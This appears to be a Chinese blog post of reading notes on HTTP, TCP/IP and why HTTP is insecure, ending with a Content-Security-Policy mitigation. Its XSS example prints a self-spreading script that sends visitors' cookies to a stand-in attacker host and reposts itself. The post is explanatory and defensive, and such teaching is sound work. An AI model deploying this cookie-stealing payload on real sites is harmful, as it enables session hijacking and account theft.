什么是HTTP?为什么是不安全的?

我们在输入网址的时候一般是www.baidu.com,浏览器都会自动帮我们加上HTTP或者HTTPS这样的前缀,国内对于HTTPS讲解的书很少,最近有空拜读了《深入浅出https:从原理到实战》这本书,接下来会分几次表述一下对于这本书的一些笔记或者理解。

 

了解HTTPS之前需要先了解HTTP,知道了HTTP的局限,才能掌握HTTPS安全的本质。

 

  1. 基本概念

 

在TCP/IP网络协议成熟以后,世界上任何的设备只要支持TCP/IP就能成为互联网的一个终端,我们安装的浏览器都安装了这个协议。

 

当TCP/IP逐步流行后,数据传输变得非常容易,任何终端,不管是个人计算机还是手机设备,只要支持TCP/IP,数据就能够从世界上任意一端传输到另外一端,距离不再是问题。

 

但互联网传输字节流数据不是人能够看得懂的,为了翻译这些数据,让通信的两方用同样的方式去解读这些数据,我们必须定义一个标准,这样两边才能正确的解读数据内容,这就是应用层HTTP的雏形。

 

HTTP到现在能够传输的数据类型越来越多,有文字、图片、视频等,有了协议,有了内容,如何把这些内容串联起来。

 

HTTP的意思是超文本传输协议,其中的超文本的意思是关联关系,就是可以从一个地方跳到另外一个地方,就是我们常用的URL,URL代表的互联网的一个资源的地址。

 

最终Web技术产生了,Web技术是Tim Berners-Lee教授在1980年提出的一个设想,主要包括三个技术,分别是HTML、URL、HTTP。即使到今天,Web模型也没有太大的变化

 

HTTP概念:超文本传输协议,超文本就是HTML,传输表示由HTTP负责客户端和服务器的数据传输和解析。客户端发送一个HTTP请求至服务器,服务器响应该请求,将数据再发送给客户端。HTTP由一系列规则组成,客户端和服务器需要正确的处理这些规则,HTTP可以认为是信息的载体,信息的内容是由HTML页面组成的。

 

URL概念:Web由很多资源组成,比如HTML页面、视频、图片,在互联网上每个资源都有一个编号,这个编号就是URL地址。服务器负责定义URL,世界上任何一个资源的编号是唯一的,客户端通过URL地址在互联网中找到该资源,URL的官方名称叫作统一资源标识符(Uniform ResourceLocator)。

 

URL的规则定义如下:

 

http://www/example.com:80/index.html

 

http表示资源需要通过HTTP这个协议才能够获取,换句话说,客户端需要通过HTTP这个协议请求这个资源。

 

www.example.com表示服务器地址,在互联网中每个服务器都有一个IP地址,但对于用户来说IP地址很难记住,用户一般只会记住服务器主机(比如www.baidu.com的ip是180.101.49.11,但我们进百度的时候都不会输入IP,只会输入网址)名称。

 

在HTTP中,客户端发送HTTP请求的时候,必须通过DNS协议将服务器主机名转换为IP地址,这样客户端才能找到服务器。80是HTTP协议的默认端口(可以省略不输入),表示服务器通过80端口提供HTTP服务。/index.html表示服务器在/根目录下有一个index.html资源。这就是URL的全部,主要是定义资源的互联网地址,URL虽然和HTTP是紧密关联的,但在Web中是互相独立的。

 

HTML概念:早期的互联网传输的就是文字,后来为了方便阅读加入了一些样式,比如加粗,换行,标红等等,对文字进行特殊的处理,还可以通过URL来进行图片和视频资源的引用。这些对文字进行特殊处理的规则发展成CSS和JS语言,他们都是HTML的一部分。

 

Web,大家可能有一个概念,在浏览器中输入一个网址,返回对应网站的页面,然后点点点或者搜索就能找到我们需要的内容,这些返回的内容通过F12键位查看,其实是一个个HTML的页面,这些页面就构成了Web,也被称为WWW(world wide web)。

 

在web访问中,我们从浏览器发出请求,浏览器就是客户端,接受请求的就是服务器,比如我们在百度里面搜索西红柿,浏览器就会把这个请求发送到百度的服务器,服务器返回搜索的内容,这个过程中HTTP扮演的是数据请求和响应的角色,真正的数据传输是由其他网络层进行处理的。

 

Web其实是我们常说的互联网的一部分,互联网还包含邮件应用、FTP等,现在我们基本认为web就是互联网。

 

Web最核心的内容就是HTTP,HTTP由服务器和客户端组成,有了HTTP不同的终端才能交换数据。

 

  1. 理解HTTP

 

以谷歌浏览器的请求为例,以上是一个简单的请求,请求的URLhttp://www.example.com/index.html,请求的方式是get请求,如果对资源做一定的修改的话一般是post请求,status code表示请求的状态,200 ok表示请求和返回都正常,异常的有400404等。

 

Remote address表示请求服务器的IP地址和端口,从请求可以看出请求域名最终会被解析成IP地址。

 

上面是请求的头包含的一些参数:

Accept-Encoding:gzip

表示浏览器支持的数据压缩算法是gzip,压缩之后传输的内容会更小,目的是为了更快的传输,参数是gzip等于告之服务器,是否可以使用gzip算法压缩响应后再发送。服务器收到请求后解析Accept-Encoding头部,了解客户端希望使用gzip压缩算法压缩HTTP响应。如果服务器支持gzip压缩算法,会对所有的HTML响应压缩后再发送给客户端(头部并不压缩),为了让客户端知道响应是经过gzip压缩的,需要输出Content-Encoding:gzip头部,如果服务器不支持gzip算法,也可以原样将HTML响应发送给客户端,并且不输出Content-Encoding头部。

 

Connection: keep-alive

当一个网页打开之后,等于客户端和服务端已经建立起了TCP连接,连接参数是keep-alive表示后面客户端的访问会继续使用这个连接而不必再次建立,如果随时关闭的话可以设置为close,这个连接不是一直连接,而是有一定的时间,可以在服务器上进行设置。

 

Hostwww.example.com

需要DNS解析器进行解析。加入你在阿里云购买了一个服务器和一个域名,需要将域名和服务器进行绑定,也就是让DNS能够把你的域名解析成你服务器的IP

 

User-Agent: Mozilla/5.0

客户端的浏览器版本。

 

 

上面是返回的头,下面是返回的HTML内容:

<!doctype html>

<html>

<head>

    <title>Example Domain</title>



    <meta charset="utf-8" />

    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />

    <meta name="viewport" content="width=device-width, initial-scale=1" />

    <style type="text/css">

    body {

        background-color: #f0f0f2;

        margin: 0;

        padding: 0;

        font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

       

    }

    div {

        width: 600px;

        margin: 5em auto;

        padding: 2em;

        background-color: #fdfdff;

        border-radius: 0.5em;

        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);

    }

    a:link, a:visited {

        color: #38488f;

        text-decoration: none;

    }

    @media (max-width: 700px) {

        div {

            margin: 0 auto;

            width: auto;

        }

    }

    </style>   

</head>



<body>

<div>

    <h1>Example Domain</h1>

    <p>This domain is for use in illustrative examples in documents. You may use this

    domain in literature without prior coordination or asking for permission.</p>

    <p><a href="https://www.iana.org/domains/example">More information...</a></p>

</div>

</body>

</html>

这个HTML在浏览器上显示出来就是:

 

 

HTTP有以下几个特点:

  1. 客户端/服务器模型

HTTP是一个客户端/服务器模型, 它本身是不能传输的,需要通过网络层中的其他协议进行通信,一般构建在TCP之上。TCP能够提供一个可靠的、面向连接的传输服务,换句话说,客户端和服务器是否正确传输依赖于TCP这个协议。

2HTTP是无状态的

HTTP是基于TCP的,早期的请求完成之后TCP连接会关闭,完全和上一次的请求没有关系。

在互联网早期,可以说这种设计很好,但是现在的Web应用越来越丰富,无状态的设计已经不能适应新的情况,为了保持状态,出现了CookieSession技术,但是Cookie技术设计得非常不严谨,引发了很多安全问题。。

3HTTP是跨平台的

通过上面的讲解,读者知道HTTP就是具备一定规则的纯文本信息,任何开发语言都可以实现HTTP或者基于HTTP进行开发,开发出来的软件也很容易移植,受系统环境的影响非常少。

4HTTP用途很广泛

Web主要使用HTTP进行传输数据,HTTP更多的是一个数据载体,对于Web应用来说更重要的是浏览器如何处理这些数据,这些本身和HTTP关系并不大。考虑到HTTP如此简单,基于HTTP的应用非常多,比如,不管是iOS还是Andriod应用,都需要调用基于HTTPAPI接口。

TCP/IP概述

TCP/IP是标准的互联网网络协议,没有该协议就没有互联网,互联网上的终端必须配置TCP/IP才能进行通信。

 

任何协议都是一种标准,标准的含义就是通信双方需要遵循相同的规则,才能互相协作。想象两个人互相打电话,拨打电话的人首先要知道对方的手机号(IP地址),然后拨打电话确保连接上对方(TCP),通过IP选择一条最优的传输路径,最终应用层数据(人的语言)通过终端(网卡)、网络设备(电话线)传输给对方。

它的层级大概如下:

 

 

  1. 应用层

如果没有应用层,那么网络中传输的数据没有任何意义,因为人类无法理解数据的含义。而有了应用层,软件就能解释应用层数据的含义。在Web应用中,有了HTTPHTML标准,浏览器才能呈现对用户有意义的内容。应用层协议有很多,比如HTTPFTP、邮件协议,开发者开发的软件一般都是应用层协议软件。

  1. 传输层

客户端传输层接收到应用层消息后,负责连接服务器,但服务器有很多服务,服务器如何知晓客户端需要连接的服务呢?传输层中通过端口来区分服务,通过IP地址和端口号才能构建一条传输通道,对于HTTP来说,服务器端口号默认是80,而客户端的端口是随机产生的。传输层主要有TCPUDP, TCP能够保证数据正确地到达,一旦出现错误,会有一系列处理机制,比如重发和校验机制,保证数据正确地传输到对端。HTTP构建在TCP之上,在连接阶段,TCP使用三次握手机制确保可靠传输。

 

1.初始化连接,客户端发送SYN消息(随机值x)请求一个新连接。

2.服务器接收SYN消息,发送SYN ACK响应消息。

3.客户端发送ACK消息确认本次连接成功。

UDP不能保证数据正确传达,比如客户端收到数据后,不会向服务器确认本次接收到的数据有多少,所以服务器也无法确认客户端是否正确收到了数据,UDP的优点就是性能高,减少了很多开销。

  1. 网络层

网络层主要是IP这个协议,客户端和服务器传输的时候,会经过很多节点,IP就是选择一条最优的路径。每个终端上都有一张路由表,路由表负责将数据传输到下一个节点,下一个节点再传输到下下个节点,最终到达目的地址。

  1. 链路层

应用层、传输层、网络层都是虚拟的,只有链路层才是实体设备,包括光纤、网卡等设备。基于这些设备,数据最终才能到达终端。

 

接下来简单描述封包/拆包机制,对于客户端请求来说,传输层接收到应用层消息后,在HTTP数据包前面增加TCP包头,然后发送给网络层;网络层在TCP数据包前面加上IP包头发送给链路层;链路层在IP数据包前面加上以太网包头;最终服务器接收到完整的数据包。

 

然后服务器进行拆包:首先在网络层去除链路层包头;在传输层去除IP包头;在应用层去除TCP包头;最终得到完整的HTTP应用层数据。

 

协议安全分析

 

知道了基本的概念,下面分析互联网安全,包括两部分:

HTTP本身的安全和Web应用的安全。

 

HTTP安全:

  1. 无线WIFI攻击:现在走到哪里先问WiFi密码,但是一些攻击者会提供免费的WiFi,当你使用HTTP协议的情况下,连接这些WiFi的时候,你将没有任何的隐私。

提供WiFi的人可以截获所有的HTTP流量,而HTTP流量本身都是明文的,这就导致任何的个人信息、密码等全部被截获,而使用这些WiFi的人并没有感知,这叫被动攻击。

  1. 垃圾广告攻击:很多用户浏览某个网页的时候,经常发现页面上弹出一个广告,而这个广告和访问的网页根本毫无关系,这种攻击很常见,主要是ISP(互联网服务提供商)发动的一个攻击,用户根本没有任何办法防护。用户访问网站的时候肯定经过ISP, ISP为了一些目的,比如获取广告费用,在响应中插入一段HTML代码,就导致了该攻击的产生。这种攻击称为主动攻击,也就是攻击者知晓攻击的存在。

这种攻击用户还能忍受,更严重的是ISP或者攻击者在页面中插入一些恶意JavaScript脚本,脚本一旦在客户端运行可能会产生更恶劣的后果,比如XSS攻击(跨站脚本攻击)。

协议不安全的根本原因:

  1. 数据没有加密:

 HTTP本身传递的是明文,不会加密这些信息,只要攻击者能够获取这些明文,用户的隐私就完全暴露了。HTTP是基于TCP/IP的,TCP/IP的特点也决定了HTTP数据很容易被截获,网络传输过程中,路由策略决定HTTP数据会通过很多节点设备,节点很轻松就能截获明文数据,由于数据没有加密,很容易理解其含义。

2.无法验证身份

HTTP应用中,客户端和服务器并不能确认对方的身份,在HTTP标准中,没有校验对端身份的标准。对于服务器来说,它接收的HTTP请求格式只要正确,就发送响应信息。对于客户端来说同样如此,它连接的是www.example.com主机,但由于有中间节点的存在,最终连接的可能是www.example.cn主机,但对于客户端来说,它无法校验服务器的身份。

3.数据易篡改

HTTP数据在传输过程中,会经过很多节点,这些节点都可以修改原始数据,而对于客户端和服务器来说,没有任何技术来确保接收的数据就是发送者发送的原始数据。

由于没有机制确保数据的完整性,客户端和服务器只能无条件信任接收到的数据,这也产生了很多安全问题,篡改数据也叫作中间人攻击。比如ISP插入广告的例子,如果有一种机制能够让浏览器知晓数据已经被篡改,那么浏览器就可以告知用户危险,并中断本次请求。

 

Web应用安全

HTTP只负责数据传输,真正的攻击对象是浏览器(用户)和服务器(数据)。

 

互联网早期服务器负责输出数据,客户端基于HTML负责渲染,标签和元素非常少,这种群情况下攻击只要构建一条不规范的HTTP请求就行了,也有利用程序的漏洞来进行SQL注入破坏服务器数据。

 

互联网中期HTML扩展了很多标签,脚本语言JS等广泛使用,在客户端完成的逻辑越来越多,可供攻击的模式也越来越多,执行恶意脚本等成为常见的手法。

 

这里以常见的XSS攻击方式进行说明,XSS就是利用应用程序的漏洞,诱使用户触发恶意代码,从而自动发送恶意的HTTP请求至服务器,造成自动攻击。

 

通过一个博客系统来描述XSS攻击:

 

攻击者发现一个博客系统存在漏洞,发表文章的时候,服务器没有转义或者过滤数据

 

攻击者用账号登录博客系统,打开文章编辑器,输入正常的内容,但是在文章末尾加入一段恶意代码(<script type='text/javascript'src='http://www.attack.com/attack.js'></script>)。

由于服务器没有任何的校验机制,所以正常生成了一篇文章,比如http://www.example.com/article.html

 

攻击者将这篇文章的地址发送到各大论坛,或者将文章地址用邮件发送给其他人。

 

不明真相的人一旦打开这篇文章,浏览器就会下载并置执行attack.js文件,由于该文件包含了恶意代码,就可以进行攻击

<script type=" text/ javascript" >

         $ (function() {

                  var cookie = encodeURIComponent (document. cookie)

                  $(’<img src="http://www. attack. com/attack. php? cookie=' + cookie+’">').appendTo($ (document. body))

                  var content = "<scr"+" ipt type='text/javascript' src=' http://wwww.attack.com/attack. js’></scr"+" ipt>"

                  $.post("http://www.example.com/sendArticle.php",{content :content},function(result) {});

         })

</script>

 

这段代码中会产生两个攻击:将用户www.example.com主机下的所有Cookie信息发送给攻击者。自动以正常用户的身份生成一篇文章,而这篇文章包含同样的攻击代码。

目前的互联网

 

目前互联网更关注移动互联网,尤其是手机设备,为了更好地支持移动设备并提升性能,提出了HTML5标准,HTML5标准是下一代HTML标准。HTML5支持了更多的功能,比如说地理位置、照相机,而这些功能是手机设备本身具备的。对于开发者来说,由于拥有了更多的设备控制能力,会进一步导致安全问题,比如在HTML旧标准中,客户端JavaScript最多获取设备上的Cookie,不能获取设备的其他信息,而在HTML5中,客户端还能获取手机照片库信息,一旦应用实现出现问题,会暴露设备上更多的隐私信息,所以浏览器在实现HTML5标准的时候,会有很多的安全策略,这些标准是由W3C指定的。

 

W3C

 

Tim Berners-Lee教授提出Web技术后成立了W3C组织,W3C主要制定Web技术的标准,比如HTML标准、DOM标准、CSS标准、ECMAScript标准,而实现这些标准主要由浏览器厂商或者服务器厂商完成。如果没有严格遵守标准,会产生很多兼容和安全问题。

 

在互联网早期,W3C没有过多考虑安全问题,而目前W3C有了更多的安全标准,尤其在制定HTML5标准的时候,充分考虑了安全问题。

 

W3C主要以HTTP头部的方式提供安全保护,比如Access-Control-Allow-OriginX-XSS-ProtectionStrict-Transport-SecurityContent-Security-Policy HTTP头部,一旦开发者和浏览器正确地遵守安全标准,就能缓解安全问题。

 

比如前面的XSS攻击,主要原因就在于浏览器执行了一个外部JavaScript脚本,如果浏览器按照策略不加载外部脚本,攻击就无从谈起了。比如服务器输出下面的Content-Security-Policy头信息,等于告诉浏览器只允许加载www.example.com本域下的脚本文件,就能避免XSS攻击。

 

Content-Security-Policy: default-src:’self’; script-src: http://www.example.com;

 

发布了48 篇原创文章 · 获赞 103 · 访问量 57万+

猜你喜欢

转载自blog.csdn.net/qq_36421826/article/details/104064870